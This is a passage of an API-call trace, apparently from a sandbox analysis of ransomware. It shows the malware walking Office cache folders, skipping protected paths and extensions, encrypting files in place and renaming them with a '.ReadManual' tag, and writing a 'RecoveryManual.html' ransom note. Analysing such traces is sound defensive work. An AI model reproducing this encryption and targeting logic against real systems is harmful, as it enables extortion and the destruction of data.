(lpFirst="PptLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0176.589] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0176.589] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0176.589] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0176.589] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" [0176.589] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.ReadManual.5A595725" [0176.589] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.ReadManual.5A595725") returned 96 [0176.589] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=29725777205) returned 1 [0176.589] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0176.590] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0176.590] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=70361744) returned 1 [0176.590] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x431a290, lpName=0x0) returned 0x194 [0176.590] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0176.590] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.590] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0176.592] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0176.593] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000000) returned 0x4350000 [0178.902] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0179.847] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4000000, dwNumberOfBytesToMap=0x31a290) returned 0x4350000 [0179.946] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0179.972] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30064103803) returned 1 [0179.972] CloseHandle (hObject=0x194) returned 1 [0179.973] SetSecurityInfo () returned 0x57 [0179.973] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0179.973] CloseHandle (hObject=0x190) returned 1 [0179.975] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0179.975] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0179.975] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0179.976] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0179.976] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0179.976] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0179.976] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" [0179.976] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0179.976] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0179.976] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30064500316) returned 1 [0179.976] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0179.979] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0179.979] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1886) returned 1 [0179.979] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75e, lpName=0x0) returned 0x194 [0179.980] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0179.981] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.981] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0179.983] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0179.983] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75e) returned 0x2f0000 [0179.983] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0179.983] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30065227949) returned 1 [0179.984] CloseHandle (hObject=0x194) returned 1 [0179.984] SetSecurityInfo () returned 0x57 [0179.985] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0179.985] CloseHandle (hObject=0x190) returned 1 [0179.986] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0179.986] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0179.986] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0179.986] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C") returned="{90140000-0019-0409-1000-0000000FF1CE}-C" [0179.986] lstrcatW (in: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0179.986] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0179.986] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0179.986] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0179.987] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0179.987] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned 67 [0179.987] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0179.994] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0179.994] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.994] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0179.994] lstrcpyW (in: lpString1=0x6ab922, lpString2="PublisherMUI.msi" | out: lpString1="PublisherMUI.msi") returned="PublisherMUI.msi" [0179.994] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="RecoveryManual.html") returned -1 [0179.994] StrStrIW (lpFirst="PublisherMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0179.994] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0179.994] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0179.994] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0179.994] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0179.994] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\" [0179.994] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0179.994] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0179.995] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0179.996] CloseHandle (hObject=0x190) returned 1 [0179.996] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0179.996] lstrcpyW (in: lpString1=0x6ab922, lpString2="PublisherMUI.xml" | out: lpString1="PublisherMUI.xml") returned="PublisherMUI.xml" [0179.996] lstrcmpiW (lpString1="PublisherMUI.xml", lpString2="RecoveryManual.html") returned -1 [0179.996] StrStrIW (lpFirst="PublisherMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0179.996] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0179.996] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0179.997] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" [0179.997] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.ReadManual.5A595725" [0179.997] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.ReadManual.5A595725") returned 103 [0179.997] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=30066542098) returned 1 [0179.997] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0179.998] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0179.998] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1450) returned 1 [0179.998] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5aa, lpName=0x0) returned 0x194 [0179.998] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0179.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.998] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0180.000] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0180.000] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5aa) returned 0x2f0000 [0180.000] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0180.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=30066903755) returned 1 [0180.000] CloseHandle (hObject=0x194) returned 1 [0180.000] SetSecurityInfo () returned 0x57 [0180.000] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0180.001] CloseHandle (hObject=0x190) returned 1 [0180.001] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0180.001] lstrcpyW (in: lpString1=0x6ab922, lpString2="PubLR.cab" | out: lpString1="PubLR.cab") returned="PubLR.cab" [0180.001] lstrcmpiW (lpString1="PubLR.cab", lpString2="RecoveryManual.html") returned -1 [0180.001] StrStrIW (lpFirst="PubLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0180.001] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0180.001] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0180.001] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0180.001] StrCmpIW 